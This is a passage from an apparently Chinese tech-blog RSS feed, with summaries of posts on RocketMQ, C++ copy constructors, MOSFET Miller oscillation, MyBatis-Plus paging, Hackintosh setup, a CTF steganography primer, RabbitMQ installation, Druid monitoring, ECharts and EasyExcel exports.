那么每个broker上会有3个queue的消息是无法消费的。&#xA;上面创建一个TestTopic的主题，这个主题下有两个队列，即两个分区。&#xA;为了Producer发来的消息每个master都能写，所以每个Broker上都要有TestTopic主题而且每个Broker上的TestTopic，都要有两个分区 注：类似于kafka，分区 + Consumer group ==&amp;gt; 对于consumer的消息广播。</description>
    </item>
    <item>
      <title>C&#43;&#43;学习笔记——C&#43;&#43; 拷贝构造函数（5）</title>
      <link>https://bchobby.github.io/posts/32b56d2da22f4f3877ce2fbb8accdc52/</link>
      <pubDate>Wed, 18 Nov 2020 18:56:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32b56d2da22f4f3877ce2fbb8accdc52/</guid>
      <description>拷贝构造函数是一种特殊的构造函数，它在创建对象时，是使用同一类中之前创建的对象来初始化新创建的对象。拷贝构造函数通常用于：&#xA;~通过使用另一个同类型的对象来初始化新创建的对象。&#xA;~复制对象把它作为参数传递给函数。&#xA;~复制对象，并从函数返回这个对象。&#xA;如果类带有指针变量，并有动态内存分配，则它必须有一个拷贝构造函数。&#xA;拷贝构造函数的最常见形式如下：&#xA;classname (const classname &amp;amp;obj)&#xA;{&#xA;// 构造函数的主体&#xA;}&#xA;在这里，obj 是一个对象引用，该对象是用于初始化另一个对象的。&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; class Line { public: int getLength( void ); Line( int len ); // 简单的构造函数 Line( const Line &amp;amp;obj); // 拷贝构造函数 ~Line(); // 析构函数 private: int *ptr; }; // 成员函数定义，包括构造函数 Line::Line(int len) { cout &amp;lt;&amp;lt; &#34;调用构造函数&#34; &amp;lt;&amp;lt; endl; // 为指针分配内存 ptr = new int; *ptr = len; } Line::Line(const Line &amp;amp;obj) { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>业内工程师十年总结！教你轻松掌握大小功率MOS管</title>
      <link>https://bchobby.github.io/posts/9d326ea7c0130f7d1a14069db589fb21/</link>
      <pubDate>Wed, 18 Nov 2020 11:27:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d326ea7c0130f7d1a14069db589fb21/</guid>
      <description>MOS管相比于三极管，开关速度快，导通电压低，电压驱动简单，所以越来越受工程师的喜欢，然而，若不当设计，哪怕是小功率MOS管，也会导致芯片烧坏，原本想着更简单的，最后变得更加复杂。这几年来一直做高频电源设计，也涉及嵌入式开发，对大小功率MOS管，都有一定的理解，所以把心中理解的经验总结一番，形成理论模型。MOS管等效电路及应用电路如下图所示：&#xA;把MOS管的微观模型叠加起来，就如下图所示：&#xA;我们知道，MOS管的输入与输出是相位相反，恰好180度，也就是等效于一个反相器，也可以理解为一个反相工作的运放，如下图：&#xA;有了以上模型，就好办了，尤其从运放这张图中，可以一眼看出，这就是一个反相积分电路，当输入电阻较大时，开关速度比较缓慢，Cgd这颗积分电容影响不明显，但是当开关速度比较高，而且VDD供电电压比较高，比如310V下，通过Cgd的电流比较大，强的积分很容易引起振荡，这个振荡叫米勒振荡。所以Cgd也叫米勒电容，而在MOS管开关导通或者关断的那段时间，也就是积分那段时间，叫米勒平台，如下图圆圈中的那部分为米勒平台，右边的是振荡严重的米勒振荡：&#xA;因为MOS管的反馈引入了电容，当这个电容足够大，并且前段信号变化快，后端供电电压高，三者结合起来，就会引起积分过充振荡，这个等价于温控的PID中的I模型，要想解决解决这个米勒振荡，在频率和电压不变的情况下，一般可以提高MOS管的驱动电阻，减缓开关的边沿速度，其次比较有效的方式是增加Cgs电容。在条件允许的情况下，可以在Cds之间并上低内阻抗冲击的小电容，或者用RC电路来做吸收电路。下图给出我常用的三颗大功率MOS管的电容值：LCR电桥直接测量。&#xA;从图上可以看出，Inifineon6代MOS管和APT7代MOS管性能远远不如碳化硅性能，它的各个指标都很小，当米勒振荡通过其他手段无法降低时，可以考虑更换更小的米勒电容MOS管，尤其需要重视Cgd要尽可能的小于Cgs。&#xA;**声明：**以上文章内容、图片由泰德兰电子网编整理于网络，如涉及到版权问题，请第一时间与我们联系。泰德兰电子是专业代理销售国内外品牌元器件公司，长期代理MOS管、IC芯片等产品。欢迎大家留言互动。</description>
    </item>
    <item>
      <title>深度学习入门--感知机与神经网络</title>
      <link>https://bchobby.github.io/posts/b92af3ed4624168e8299ff995812989a/</link>
      <pubDate>Wed, 18 Nov 2020 10:58:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b92af3ed4624168e8299ff995812989a/</guid>
      <description>1. 从简单线性分类器到深度学习 给定4个特征，简单线性分类器进行的是加权计算。&#xA;深度学习中，在输入层和输出层之间加入了中间层，即隐藏层。&#xA;在中间层，由原来的4个特征变成了3个，深度学习的一个特点就是：通过组合低层特征形成更加抽象的高层特征。&#xA;传统机器学习先从图像中提取特征量，再用机器学习技术学习这些特征量的模式。这里所说的“特征量”是指可以从输入数据（输入图像）中准确地提取本质数据（重要的数据）的转换器。图像的特征量通常表示为向量的形式。在计算机视觉领域，常用的特征量包括SIFT、 SURF和HOG等。使用这些特征量将图像数据转换为向量，然后对转换后的向量使用机器学习中的SVM、 KNN等分类器进行学习。但是需要注意的是，将图像转换为向量时使用的特征量仍是由人设计的。也就是说，即使使用特征量和机器学习的方法，也需要针对不同的问题人工考虑合适的特征量。&#xA;神经网络直接学习图像本身。神经网络都是通过不断地学习所提供的数据，尝试发现待求解的问题的模式。也就是说，与待处理的问题无关，神经网络可以将数据直接作为原始数据，进行“端对端”的学习。&#xA;2. 感知机 2.1 什么是感知机 感知机是两类分类的线性分类模型。假设输入为实例样本的特征向量 x x x，输出为实例样本的类别 y y y，则由输入空间到输出空间的如下函数称为感知机：&#xA;y = g ( ∑ i = 1 n w i x i + b ) y=g(\sum_{i=1}^{n}w_ix_i+b) y=g(∑i=1n​wi​xi​+b)或者 y = g ( w ⋅ x + b ) y=g(w \cdot x+b) y=g(w⋅x+b)&#xA;g为激励函数，已到达对样本分类的目的。Rosenblatt的感知机用阶跃函数作为激励函数，其公式如下：&#xA;g ( z ) = { 1 , ( z &amp;gt; 0 ) 0 , ( z &amp;lt; = 0 ) \begin{aligned} g(z)=\left\{\begin{matrix} 1, (z&amp;gt;0)\\ 0,(z&amp;lt;=0) \end{matrix}\right.</description>
    </item>
    <item>
      <title>Springboot中MyBatisplus使用IPage和Page分页</title>
      <link>https://bchobby.github.io/posts/ebfbaf79f738cb4ba43660318af08bbc/</link>
      <pubDate>Wed, 18 Nov 2020 10:47:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebfbaf79f738cb4ba43660318af08bbc/</guid>
      <description>一、需求：实现Springboot中MyBatisplus使用IPage和Page分页 二、技术：MyBatisplus的IPage和Page 三、实现 1、代码结构 2、代码详情 （1）Controller&#xA;package com.xkcoding.rbac.security.controller; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import java.util.Map; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.xkcoding.rbac.security.service.InterService; @Slf4j @RestController @RequestMapping(&#34;/inter&#34;) public class InterController { @Autowired private InterService interService; @GetMapping(&#34;/test&#34;) public IPage&amp;lt;Map&amp;gt; test() { Integer currentPage = 1; //当前页数：显示第一页数据 Integer pageSize = 2; //每页显示多少：每页显示2条数据 Page&amp;lt;Map&amp;gt; page = new Page&amp;lt;Map&amp;gt;(currentPage, pageSize); IPage&amp;lt;Map&amp;gt; findList = interService.findlistpage(page); return findList; } } （2）Service&#xA;package com.xkcoding.rbac.security.service; import java.util.Map; import org.springframework.stereotype.Service; import com.</description>
    </item>
    <item>
      <title>黑苹果hdmi外接显示器不显示_小新pro13 黑苹果 体会</title>
      <link>https://bchobby.github.io/posts/c6e2b1cff691599f236c197083bd743d/</link>
      <pubDate>Wed, 18 Nov 2020 10:26:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6e2b1cff691599f236c197083bd743d/</guid>
      <description>笔者正在用的老款的MacBook Air，办公还算够用，但是非retina屏实在看不下去了，一直想着换机。本以为今年苹果会发布14英寸的macbook pro，结果大家都知道了，并没有。除屏幕尺寸，新款macbook pro蝶式键盘改为剪刀脚键盘好评，容量256g起步好评，不足为低配仍然使用8代的intel处理器以及雷电口只有两个，观望许久最终还是没有下手。偶然看到网上的贴子小新pro13黑苹果不错，安装也简单，正好618，果断下手i5 8g 512核显版本，为什么没下手16g版本？因为8g办公够用。&#xA;2005，苹果宣布使用intel处理器，2006年，第一台搭载intel处理器的mac问世，黑苹果就一直是少部分人群喜爱折腾的东西，从最初的Chameleon到clover，再到现在的Opencore，黑苹果的安装似乎变得越来越容易，这些都得益于全球各地的大神们为此做的贡献。&#xA;小新pro13的黑苹果项目由宪武和黑果小兵在维护，网上很容易找到教程和EFI文件，讲讲在安装过程中的遇到的情况。我是使用原版的镜像写入优盘后，放入黑果小兵的Clover的EFI安装，安装过程中要始终选择“config-installer-revoery”来安装，注意是“始终”，直到进入Mac桌面，然后加载硬盘的EFI盘，将Clover或OC的EFI放进去做硬盘引导（单系统放进去就行，多系统黑果小兵网站安装教程中有详细说明）。注意如果要使用0602的OC引导要先解锁DVMT和CFG（单系统注意先在windows中先解锁再抹盘）。&#xA;小新pro13使用中遇到的一些问题&#xA;intel的网卡和蓝牙我没尝试去驱动，直接换了94360CS2拆机卡加转接卡，wifi、蓝牙、隔空投送使用正常0602的OC引导type-c转dp在设置-显示器中可以看到外接显示器型号，但是显示器不亮屏，若显卡仿冒注入platform-id：0x3ea50004的话，外接显示器正常，但是电脑屏幕会花屏，拔插一下type-c视频线能解决睡眠有时还是会不能唤醒，只能强行关机重启，我已设置不睡眠，但有时会随手合盖，然后就不能唤醒了Type-c优盘右键弹出后拔除提示未正确弹出优盘，再插无反应，且电脑无法关机和重启，风扇狂转，只能强行关机重启，使用USB优盘无问题 上述的种种问题，可能只是我这台电脑遇到的问题，不代表大家会遇到。对于一台连macbook pro一半价格都不到的机器，能使用上MacOS已经非常满意，待自研芯片的MacBook成熟时，再入白苹果。&#xA;最后，感谢Apple做出如此优秀的MacOS，感谢各路大神为Hackintosh所做的无私贡献。</description>
    </item>
    <item>
      <title>CTF竞赛入门（四）信息隐写</title>
      <link>https://bchobby.github.io/posts/da79c9b6f5bcccf6e56f85b45b3244bf/</link>
      <pubDate>Wed, 18 Nov 2020 08:37:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da79c9b6f5bcccf6e56f85b45b3244bf/</guid>
      <description>隐写术 steganographia 概述 隐写术是一门关于信息隐藏的技巧与科学，所谓信息隐藏指的是不让除预期的接收者之外的任何人知晓信息的传递事件或者信息的内容。隐写术的英文叫做Steganography，来源于特里特米乌斯的一本讲述密码学与隐写术的著作Steganographia，该书书名源于希腊语，意为“隐秘书写”。&#xA;CTF 隐写术分类 语义隐写术 符号码&#xA;隐语&#xA;虚字密码&#xA;技术隐写术 系统结构 纯隐写&#xA;密钥隐写&#xA;公钥隐写&#xA;空间结构 信道隐写&#xA;时空域隐写&#xA;变换域隐写&#xA;载体对象 图像隐写&#xA;文本隐写&#xA;音视频隐写&#xA;其他文件隐写&#xA;ctf 中通常使用以下格式作为信息载体进行隐写&#xA;图片文件 .jpg .png .gif .bmp&#xA;文本文件 .docx .pdf .zip&#xA;音视频文件 .wav .mp3 .mp4&#xA;其他特殊文件&#xA;现状 上来一套组合打击&#xA;binwalk + winhex 分析文件结构和内部数据stegsolve 分析lsb隐写stegdetect 检测特殊工具隐写 文件结构分析工具&#xA;TrID 工具&#xA;file (liunx 命令)&#xA;隐写实战 图片隐写 插入 利用文件格式的无关数据或者在空白区域放置需要的数据不会改变原始数据，只会增加隐写的内容&#xA;替换 每一字节的最低有效位进行变换不会改变文件大小，源文件会发生变化&#xA;考查点 在文件尾部插入字符&#xA;图片标记码之间插入字符&#xA;zip格式文件分离&#xA;图片文件分离 binwalk foremost&#xA;LSB 隐写二维码 stegsolve</description>
    </item>
    <item>
      <title>【RabbitMQ】Linux下的安装【极速版】</title>
      <link>https://bchobby.github.io/posts/fcf1d020cb9db983befba784a7980ddf/</link>
      <pubDate>Wed, 18 Nov 2020 08:34:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcf1d020cb9db983befba784a7980ddf/</guid>
      <description>RabbitMQ Linux下的安装之【极速版】 1.下载所需安装文件2.开始安装3.配置与启动测试 首先说明我们这里使用的Linux版本是CentOS7，相关内容可以参考我之前的博客：&#xA;VMware下载，安装及创建虚拟机&#xA;VMware安装Centos7 究极逐步详细图文流程&#xA;上文末还有Xshell的下载安装使用说明。&#xA;1.下载所需安装文件 直接附上资源链接(zip)，不需要积分，直接下载，因为是极速版，这里只上传了一个版本的，截至目前最新版本为3.8.9，链接中的版本为3.6.5。(相关安装资源如果想自行下载的话可以参照详尽安装版)&#xA;下载链接：https://download.csdn.net/download/cjl836735455/13118790&#xA;压缩包中主要是三个文件：&#xA;erlang的安装包&#xA;erlang-18.3-1.el7.centos.x86_64.rpmsocat的安装包&#xA;socat-1.7.3.2-1.1.el7.x86_64.rpmrabbitmq的安装包&#xA;rabbitmq-server-3.6.5-1.noarch.rpm&#xA;2.开始安装 将我们解压好的安装文件上传到linux上&#xA;这里我们使用一个文件上传工具：【Linux】1.Xshell如何连接虚拟机实现文件上传&#xA;文件上传工具有很多，直接只简单带出来一个，只要能快速上传就OK。&#xA;在线安装依赖环境 yum install build-essential openssl openssl-devel unixODBC unixODBC-devel make gcc gcc-c++ kernel-devel m4 ncurses-devel tk tc xz 安装Erlang rpm -ivh erlang-18.3-1.el7.centos.x86_64.rpm 我这里是没有出错的，但是注意，如果出现以下错误(没错的可以跳过这一步)：&#xA;说明gblic 版本太低。我们可以查看当前机器的gblic 版本，语句为：&#xA;strings /lib64/libc.so.6 | grep GLIBC 然后根据报错图中提示的版本去升级对应的gblic，例如图中报错说需要2.15版本&#xA;升级glibc：&#xA;1.使用yum更新安装依赖 sudo yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc make -y 2.下载rpm包 wget http://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo-el6/epel-6-x86_64/glibc-2.17-55.fc20/glibc-utils-2.17-55.el6.x86_64.rpm &amp;amp; wget http://copr-be.</description>
    </item>
    <item>
      <title>HDLBits练习（五）锁存器和DFF</title>
      <link>https://bchobby.github.io/posts/b606e2d8be7bbca803f559ec1c29def2/</link>
      <pubDate>Tue, 17 Nov 2020 20:33:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b606e2d8be7bbca803f559ec1c29def2/</guid>
      <description>1.创建具有高电平有效同步复位的8 D触发器。触发器必须重置为0x34而不是零。所有DFF应由clk的负边缘触发。&#xA;module top_module ( input clk, input reset, input [7:0] d, output [7:0] q ); always@(negedge clk)begin if (reset) q &amp;lt;= 8&#39;h34;&#x9;//0x指十六进制 else q &amp;lt;= d; end endmodule 2.创建具有高电平有效异步复位的8 D触发器。&#xA;module top_module ( input clk, input areset, // active high asynchronous reset input [7:0] d, output [7:0] q ); always@(posedge clk or posedge areset)begin if(areset) q &amp;lt;= 8&#39;d0; else q &amp;lt;= d; end endmodule 3.创建16个D触发器。有时只修改一组触发器的一部分很有用。字节使能输入控制在该周期是否应写入16个寄存器的每个字节。byteena [1]控制高字节d [15：8]，而byteena [0]控制低字节d [7：0]。</description>
    </item>
    <item>
      <title>Office、excel、word卡死（或卡顿后自动恢复）的解决方案</title>
      <link>https://bchobby.github.io/posts/fa2bad4412f6a375f5b5352b7923f03d/</link>
      <pubDate>Tue, 17 Nov 2020 20:04:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa2bad4412f6a375f5b5352b7923f03d/</guid>
      <description>Office全家桶卡死卡顿的解决方案 1、可能是部分office文件被破坏，此时可以下载office官网的修复工具链接，此方案针对于office完全不能使用的情况。&#xA;2、可能是打印机的问题，本人遇到Excel编辑卡死，过两分钟自动恢复和word卡顿及插入公式卡死的问题。这个就是共享打印机的问题了，就是你使用的是局域网内的打印机。解决方案是在系统中删除远程打印机即可，或者将网络切换到此打印机的局域网。这个是office的bug，如果你使用的是公网的打印机，是不会出现这种情况的，但是你使用的是局域网内的打印机，而当前网络不是该打印机所在的局域网，则会导致office全家桶的各种奇葩问题。&#xA;3、最麻烦的，卸载重装，我认为前两条基本可以解决大家遇到的问题了。</description>
    </item>
    <item>
      <title>SpringBoot~使用DruidDataSource实现日志监控</title>
      <link>https://bchobby.github.io/posts/e7613421e9f23c2b9c4f483675c48797/</link>
      <pubDate>Tue, 17 Nov 2020 19:35:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7613421e9f23c2b9c4f483675c48797/</guid>
      <description>文章目录 DruidDataSource简介实现步骤 DruidDataSource简介 Druid 是阿里巴巴开源平台上一个数据库连接池实现，结合了 C3P0、DBCP 等 DB 池的优点，同时加入了日志监控。Druid 可以很好的监控 DB 池连接和 SQL 的执行情况，天生就是针对监控而生的 DB 连接池。Github地址：https://github.com/alibaba/druid/com.alibaba.druid.pool.DruidDataSource 基本配置参数如下： 实现步骤 导入添加上 Druid 数据源依赖。 &amp;lt;!-- https://mvnrepository.com/artifact/com.alibaba/druid --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;druid&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.1.21&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 通过 spring.datasource.type 指定数据源。完整配置 spring: datasource: username: root password: listen #?serverTimezone=UTC解决时区的报错 url: jdbc:mysql://localhost:3306/java_11_15?serverTimezone=UTC&amp;amp;useUnicode=true&amp;amp;characterEncoding=utf-8 driver-class-name: com.mysql.cj.jdbc.Driver type: com.alibaba.druid.pool.DruidDataSource #Spring Boot 默认是不注入这些属性值的，需要自己绑定 #druid 数据源专有配置 initialSize: 5 minIdle: 5 maxActive: 20 maxWait: 60000 timeBetweenEvictionRunsMillis: 60000 minEvictableIdleTimeMillis: 300000 validationQuery: SELECT 1 FROM DUAL testWhileIdle: true testOnBorrow: false testOnReturn: false poolPreparedStatements: true #配置监控统计拦截的filters，stat:监控统计、log4j：日志记录、wall：防御sql注入 #如果允许时报错 java.</description>
    </item>
    <item>
      <title>echarts中清空图画</title>
      <link>https://bchobby.github.io/posts/532b003e0cc9b8c1d462dcf175c21882/</link>
      <pubDate>Tue, 17 Nov 2020 18:50:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/532b003e0cc9b8c1d462dcf175c21882/</guid>
      <description>echarts中清空图画 如图加上 myChart.clear(); 就可以了&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div id=&#34;brokenLine1&#34; style=&#34;width: 100%; height: 600px&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import echarts from &#34;echarts&#34;; export default { components: {}, props: {}, data() { return { }; }, watch: {}, computed: {}, methods: { myEchartSbrokenLine1() { // 基于准备好的dom，初始化echarts实例 var myChart = echarts.init(document.getElementById(&#34;brokenLine1&#34;)); // 指定图表的配置项和数据 letoption = { tooltip: { trigger: &#39;axis&#39;, axisPointer: { // 坐标轴指示器，坐标轴触发有效 type: &#39;shadow&#39; // 默认为直线，可选为：&#39;line&#39; | &#39;shadow&#39; } }, legend: { data: [&#39;直接访问&#39;, &#39;邮件营销&#39;, &#39;联盟广告&#39;, &#39;视频广告&#39;, &#39;搜索引擎&#39;] }, grid: { left: &#39;3%&#39;, right: &#39;4%&#39;, bottom: &#39;3%&#39;, containLabel: true }, xAxis: { type: &#39;value&#39; }, yAxis: { type: &#39;category&#39;, data: [&#39;周一&#39;, &#39;周二&#39;, &#39;周三&#39;, &#39;周四&#39;, &#39;周五&#39;, &#39;周六&#39;, &#39;周日&#39;] }, series: [ { name: &#39;直接访问&#39;, type: &#39;bar&#39;, stack: &#39;总量&#39;, label: { show: true, position: &#39;insideRight&#39; }, data: [320, 302, 301, 334, 390, 330, 320] }, { name: &#39;邮件营销&#39;, type: &#39;bar&#39;, stack: &#39;总量&#39;, label: { show: true, position: &#39;insideRight&#39; }, data: [120, 132, 101, 134, 90, 230, 210] }, { name: &#39;联盟广告&#39;, type: &#39;bar&#39;, stack: &#39;总量&#39;, label: { show: true, position: &#39;insideRight&#39; }, data: [220, 182, 191, 234, 290, 330, 310] }, { name: &#39;视频广告&#39;, type: &#39;bar&#39;, stack: &#39;总量&#39;, label: { show: true, position: &#39;insideRight&#39; }, data: [150, 212, 201, 154, 190, 330, 410] }, { name: &#39;搜索引擎&#39;, type: &#39;bar&#39;, stack: &#39;总量&#39;, label: { show: true, position: &#39;insideRight&#39; }, data: [820, 832, 901, 934, 1290, 1330, 1320] } ] }; // 使用刚指定的配置项和数据显示图表。 myChart.</description>
    </item>
    <item>
      <title>【3D目标检测】Deep Continuous Fusion for Multi-Sensor 3D Object Detection论文综述（2018）</title>
      <link>https://bchobby.github.io/posts/3e48c444bc9dd772a9826171a435b79a/</link>
      <pubDate>Tue, 17 Nov 2020 12:03:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e48c444bc9dd772a9826171a435b79a/</guid>
      <description>1、 为什么要做这个研究（理论走向和目前缺陷） ?&#xA;这是一篇比较早的做点云和图像融合做3D目标检测的论文，以前的融合没有做多层融合的，融合过程也过于单一，这篇论文提出了比较有新意的融合思路。&#xA;2、 他们怎么做这个研究 （方法，尤其是与之前不同之处） ?&#xA;双流，一个处理点云的鸟瞰图，一个处理图像，这里的关键是如何将鸟瞰图特征和图像特征对应起来然后融合（对应元素特征相加），3D点云恰好就是这个负责联系鸟瞰图特征和图像特征的媒介。具体说来就是，每个鸟瞰图像素点可以找到对应的点云中的3D点（找不到的化取最近的），然后这个点又可以投影到图像上找到对应的像素点（不一定位置就是整数，故需要用到双线性插值），那么就可以将鸟瞰图中的像素点和图像中的像素点对应起来了，然后由于主干网络用的是相同的，又是在同一个stage融合，故两个特征的维度是一样的，就可以将图像上的的像素点特征加到点云鸟瞰图上的对应像素点特征上，完成特征融合。&#xA;3、 发现了什么（总结结果，补充和理论的关系）?&#xA;思路很新，效果也还行，中间的参数化连续卷积实际就是一个MLP操作，但是在输入设计上还是很有思考的。&#xA;**摘要：**提出了一个可以利用连续卷积融合lidar和图像信息的3D目标检测器。所提出的连续融合层可以同时编码离散的图像特征和连续的几何信息。&#xA;**注：**本文所说的图像是离散的，是指处理图像特征的过程中是离散的，即任意两个像素点的位置偏移是整数，比如B点相对A点偏移是（1,1）。所说的点云是连续的，是指点云中任意两个点的距离可以是连续的，比如D点相对C点偏移是（0.0001, 0.002, 0.000001）。&#xA;1、 引言&#xA;以前基于点云做3D目标检测还是3大路线，把点云投影到图像视图，，或者投影到鸟瞰图上，或者进行3D体素化，或者直接对点云数据进行3D框回归（F-PointNet）。&#xA;上述对点云处理的方法各有各的缺点，投影方案会缺少深度信息或者信息丢失，3D体素化也有信息丢失且计算量大，直接对点云数据进行回归（F-PointNet）的准确度依赖于前面2D检测器的分割精度。&#xA;本文提出了一种基于鸟瞰图的3D目标检测网络，但是这个鸟瞰图通过把图像特征投影到了鸟瞰图上因而融合了图像特征。&#xA;2、 相关研究&#xA;基于雷达的检测：VeloFCN，3DFCN，PIXOR.&#xA;联合图像和点云的检测：F-PointNet.&#xA;在3D点云上的卷积：此文中的连续卷积其实就是对点云中的某个点，和其邻近点的位置关系利用一个MLP提取特征。&#xA;3、 多模态3D目标检测&#xA;融合点云和图像信息并不容易，因为图像是世界在一个平面视角的表征，而点云是实际世界的3D结构。一种比较好的方案就是将点云信息投影到图像视角，并作为一个深度通道和图像连在一起，然后用2D CNN来处理。但是要从2D输出中获取3D检测结果还是不简单的。&#xA;本文提出的思路是点云中的3D点作为一个中间媒介，这个3D点可以连接点云鸟瞰图中的像素点，也可以通过投影到rgb图像视角找到在图像特征中对应的像素点。具体来说就是，首先需要利用点云生成鸟瞰图，鸟瞰图中的任意一个像素可以找到这个像素在实际点云中对应的多个邻近3D点（KNN搜索得到），每个3D点又可以通过投影到前视图找到其在图像特征对应的像素点（如果投影过来的像素位置不是整数就要通过双线性插值来确定此3D点在图像中对应的像素点特征）。最后通过将此3D点和其在点云鸟瞰图中对应的那个像素点（3D点是点云鸟瞰图中像素点的临近点）偏移输入到MLP中计算3D点在图像视角对应的像素特征的权重。&#xA;3.1 连续融合层&#xA;深度参数化连续卷积（Deep Parametric Continuous Convolution）：深度参数化连续卷积是基于同期的另外一篇论文出来的（Deep Parametric Continuous Convolutional Neural Networks Shenlong），这个卷积的可以在类似点云这样的数据上进行操作，我们传统意义上的卷积可以视为深度参数化连续卷积的一个特例。&#xA;参数化连续卷积可以用下式表示：&#xA;其中Xi是点云中的参考点，Xj是Xi的邻近点，可通过KNN算法找到，fj是Xj点对应图像特征。MLP对Xi的每个邻近点都计算一个fj的权重（卷积权重）。&#xA;上述过程就是计算一个Xi的参数化连续卷积特征。参数化连续卷积的好处就是它能够捕获局部特征，而且不用进行体素化那样的会损失几何信息的操作。&#xA;连续融合层：给定图像特征和3D点云的情况下，连续融合层的目的就是创建一个图像的鸟瞰图特征图，这个鸟瞰图特征图中的每个像素点的特征来自于图像特征（当然是对多个邻近像素点的图像特征进行加权的结果）。然后这个图像的鸟瞰图特征图和点云的鸟瞰图特征图进行融合。这里面有一个问题就是，在生成图像的鸟瞰图特征图的过程中需要用到点云的鸟瞰特征图中像素点在点云中对应的3D点，但是并不是每个点云鸟瞰图中的像素点都能找到在点云中对应的3D点，故基于2D 欧式距离找距离此像素点最近的K个3D点代替（这里还是没看明白，如果没有对应的3D点的话，z值就没办法确定，即使确定了x,y值也可能在不同的z值会搜索到不同的邻近点，也许实际情况下这种很少见，可能还是要看一下代码看看作者是如何处理的）。故输入到MLP中的包括两个部分：1）点云鸟瞰图像素点对应的K个邻近3D点在图像视角对应的图像特征（Di维），2）此临近3D点与点云鸟瞰图像素点对应的3D的位置偏移。将这两个部分连接成一个特征向量输入到MLP中，然后多个邻近点重复此过程求和，此过程操作如下：&#xA;与标准的连续卷积对比：&#xA;标注连续卷积公式：&#xA;其中g为连续核函数，f也是一个定义域连续的函数。。&#xA;本文的参数连续化连续卷积用MLP作为g。&#xA;3.3 多传感器目标检测网络&#xA;双流分别用来处理图像特征和鸟瞰图特征，并用来4个连续融合层来讲多尺度图像特征融合进鸟瞰图特征里。整体结构如下图所示：&#xA;主干网络用的是ResNet-18，通过连续融合层从图像分支里提取到的图像特征大小尺度和lidar stream提取到的对应层的特征是一模一样的，故可以采用对应元素相加来进行融合。&#xA;检测头：最后一个融合特征后接一个1X1卷积生成检测结果，每个像素点位置预测4个anchor的精细化定位（中心点位置，尺寸，朝向）和得分。然后紧跟一个NMS层。&#xA;训练：分类交叉熵，回归smooth L1.&#xA;4、实验&#xA;检测结果：&#xA;在KITTI 3D上评估是需要预测3D框中心点坐标z值和高度h，而在BEV视图下评估时不需要预测z和h，将这两项从损失函数中移去就行。&#xA;消融实验：&#xA;消融实验有点意思，KNN pooling代表是否使用knn算法搜素最邻近点，Geometric feature代表是否将临近点相对参考点的偏移也输入到MLP中。&#xA;消融实验结果表明：</description>
    </item>
    <item>
      <title>EasyExcel动态分多个sheet页导出千万级数据</title>
      <link>https://bchobby.github.io/posts/64358f46396b9b59c5de2eacfb18302e/</link>
      <pubDate>Mon, 16 Nov 2020 16:07:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64358f46396b9b59c5de2eacfb18302e/</guid>
      <description>目录 前言使用背景参考官方文档代码部分小结 前言 请等米下锅的同学直接阅读代码部分。&#xA;使用背景 最近项目组小伙伴们在开发使用Apache的Poi导出大批量数据时，总是出现内存溢出的情况。并且在生产环境，如果多个用户都导大批量数据报表时，服务器也很容易宕机。&#xA;虽然说Poi有SXSSFWorkbook这个类可以帮助我们导出较大批量的数据。其原理是用硬盘空间换内存这个样子。但是Excel2007最大一个sheet页也就支持1048576行。如果超出这个行数就需要去动态分多个sheet页去写入。由于我们是使用的模板去写入数据的，所以我们需要动态的克隆sheet页。之前只用过XSSFWorkbook类的cloneSheet方法。在阅读SXSSFWorkbook类的源码后，嗯！没实现，好的，算了算了。这也就是使用alibaba的开源项目EasyExcel的由来。EasyExcel重写了Poi对07版Excel的解析，能够原本一个3M的excel用POI sax依然需要100M左右内存降低到几M，并且再大的excel不会出现内存溢出。所以有摩托车不用，非要蹬自行车吗？那不是傻么。&#xA;这里也就不介绍EasyExcel了，没有什么比官网更详细了。请各位看官去官网详细阅读。&#xA;参考官方文档 EasyExcel官方文档EasyExcel的github地址 代码部分 我们项目是使用Maven搭建的Springboot项目。&#xA;Maven依赖： &amp;lt;!-- https://mvnrepository.com/artifact/com.alibaba/easyexcel --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;easyexcel&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.6&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 工具类 EasyExcelUtil package com.sinosoft.service.util; import com.alibaba.excel.EasyExcel; import com.alibaba.excel.ExcelWriter; import com.alibaba.excel.support.ExcelTypeEnum; import com.alibaba.excel.write.builder.ExcelWriterBuilder; import com.alibaba.excel.write.builder.ExcelWriterSheetBuilder; import com.alibaba.excel.write.metadata.WriteSheet; import com.alibaba.excel.write.metadata.style.WriteCellStyle; import com.alibaba.excel.write.metadata.style.WriteFont; import com.alibaba.excel.write.style.HorizontalCellStyleStrategy; import com.sinosoft.web.rest.util.SplitList; import org.apache.poi.ss.usermodel.BorderStyle; import 